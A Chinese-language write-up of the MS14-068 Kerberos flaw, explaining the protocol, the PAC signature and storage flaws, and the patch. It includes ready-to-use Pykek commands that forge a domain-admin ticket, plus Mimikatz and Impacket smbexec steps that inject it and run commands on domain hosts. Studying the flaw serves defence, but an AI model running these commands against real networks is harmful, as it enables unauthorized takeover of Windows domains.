通过解读Pykek分析MS14-068
字数 2253 2025-08-20 18:17:59
MS14-068漏洞分析与利用详解
漏洞概述
MS14-068是微软于2014年11月18日发布的一个高危漏洞补丁,该漏洞允许攻击者在拥有任意普通域用户凭据的情况下,通过伪造Kerberos票据将普通域用户权限提升到域管理员权限。该漏洞主要影响Windows Server 2003和2008系统,Server 2012实际上不受影响。
利用环境要求
- 域控系统:Windows Server 2003/2008
- 攻击主机:一台可访问域控的主机(加域/不加域均可)
- 凭据:一个普通域用户账号和密码或NTLM Hash
- 工具:Pykek (Python Kerberos Exploitation Kit)
利用工具Pykek
Pykek项目地址:https://github.com/mubix/pykek
生成域管权限TGT票据
使用Pykek生成域管权限的TGT票据:
python2 ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr> -p <clearPassword>
或
python2 ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr> --rc4 <ntlmHash>
示例:
python2 ms14-068.py -u lihua@qftm.com -s S-1-5-21-1089315214-1876535666-527601790-1128 -d 192.168.1.10 -p 1234567
或
python2 ms14-068.py -u lihua@qftm.com -s S-1-5-21-1089315214-1876535666-527601790-1128 -d 192.168.1.10 --rc4 328727b81ca05805a68ef26acb252039
使用票据进行横向移动
方法一:Mimikatz加载TGT票据
kerberos::purge # 清除现有票据
kerberos::klist # 查看票据列表
kerberos::ptc TGT_lihua@qftm.com.ccache # 导入伪造的TGT票据
注意事项:
- 通过票据认证时,目标主机需要使用主机名而非IP地址(Kerberos认证不支持IP)
- 在Windows Server 2003/XP下使用mimikatz导入票据可能出现错误:
* Injecting ticket : ERROR kuhl_m_kerberos_ptt_data ; LsaCallAuthenticationPackage KerbSubmitTicket Message : c000000d
方法二:Impacket工具集使用TGT票据
# 指定TGT票据
export KRB5CCNAME=TGT_lihua@qftm.com.ccache
# 攻击域控
python3 smbexec.py qftm.com/lihua@dc.qftm.com -dc-ip 192.168.1.10 -k -no-pass -code gbk -debug
# 攻击其他目标
python3 smbexec.py qftm.com/lihua@targetHostname -dc-ip 192.168.1.10 -k -no-pass -code gbk -debug
Kerberos认证流程与漏洞原理
标准Kerberos认证流程
1. AS_REQ & AS_REP (获取TGT票据)
AS-REQ请求 (Client → KDC AS):
- 包含:用户名、域名、用户密钥加密的时间戳、请求的服务名(krbtgt)、加密类型等
- 关键点:pA-PAC-REQUEST指示是否在TGT中包含PAC
AS-REP响应 (KDC AS → Client):
- 包含:krbtgt密钥加密的TGT和用户密钥加密的Logon Session Key
- TGT包含:Logon Session Key、时间戳和PAC(如果请求中包含)
2. TGS_REQ & TGS_REP (获取ST服务票据)
TGS-REQ请求 (Client → KDC TGS):
- 包含:TGT、Logon Session Key加密的Authenticator、请求的服务信息
- Authenticator包含:客户端用户名、时间戳等
TGS-REP响应 (KDC TGS → Client):
- 包含:目标服务密钥加密的ST和Logon Session Key加密的Service Session Key
- ST包含:Service Session Key、用户名、PAC等
3. AP_REQ & AP_REP (访问服务)
AP-REQ请求 (Client → Server):
- 包含:ST、Service Session Key加密的Authenticator
AP-REP响应 (Server → Client):
- 服务端验证ST和PAC签名,决定是否授权访问
漏洞原理分析
MS14-068漏洞利用了两个关键问题:
漏洞一:PAC签名验证缺陷
- 问题:PAC中存在两个签名(服务签名PAC_SERVER_CHECKSUM和KDC签名PAC_PRICSVR_CHECKSUM),客户端不知道KDC和服务器的NTLM Hash
- 利用:微软实际实现中,非HMAC算法的checksum也能通过验证,可以使用MD5算法(不需要密钥)伪造有效签名
漏洞二:PAC解密存储缺陷
- 问题:PAC通常存储在Ticket的enc-part中,由服务密钥加密,客户端无法修改
- 利用:KDC会解密处理TGS_REQ.req_body.enc-authorization_data中的PAC,而不仅限于TGT中的PAC
攻击流程详解
-
AS-REQ阶段:
- 构造AS-REQ请求,设置pA-PAC-REQUEST=False,获取不含PAC的TGT
- 使用RC4_HMAC算法(兼容Server 2003)
-
AS-REP阶段:
- 接收KDC返回的TGT(不含PAC)和Logon Session Key
-
TGS-REQ阶段:
- 构造伪造的域管权限PAC(修改GroupIds添加高权限组)
- 使用MD5算法伪造PAC签名
- 将伪造PAC存储在req_body.enc-authorization_data中
- 请求krbtgt服务,使返回的ST实际上是TGT
-
TGS-REP阶段:
- 接收包含伪造PAC的"ST"(实际上是域管权限的TGT)
- 使用该票据进行域管权限访问
修复方案
-
安装微软官方补丁:
https://learn.microsoft.com/zh-cn/security-updates/securitybulletins/2014/ms14-068 -
升级域控系统至Windows Server 2012及以上版本(原生不受影响)
技术要点总结
- 加密算法选择:必须使用RC4_HMAC以兼容Server 2003
- PAC处理:通过enc-authorization_data绕过PAC存储限制
- 签名伪造:利用MD5算法绕过签名验证
- 票据转换:通过请求krbtgt服务将ST转换为TGT
- 利用限制:仅影响Server 2003/2008域控环境
通过深入理解Kerberos协议和这两个关键漏洞,攻击者可以有效地将普通域用户权限提升至域管理员权限,从而完全控制整个域环境。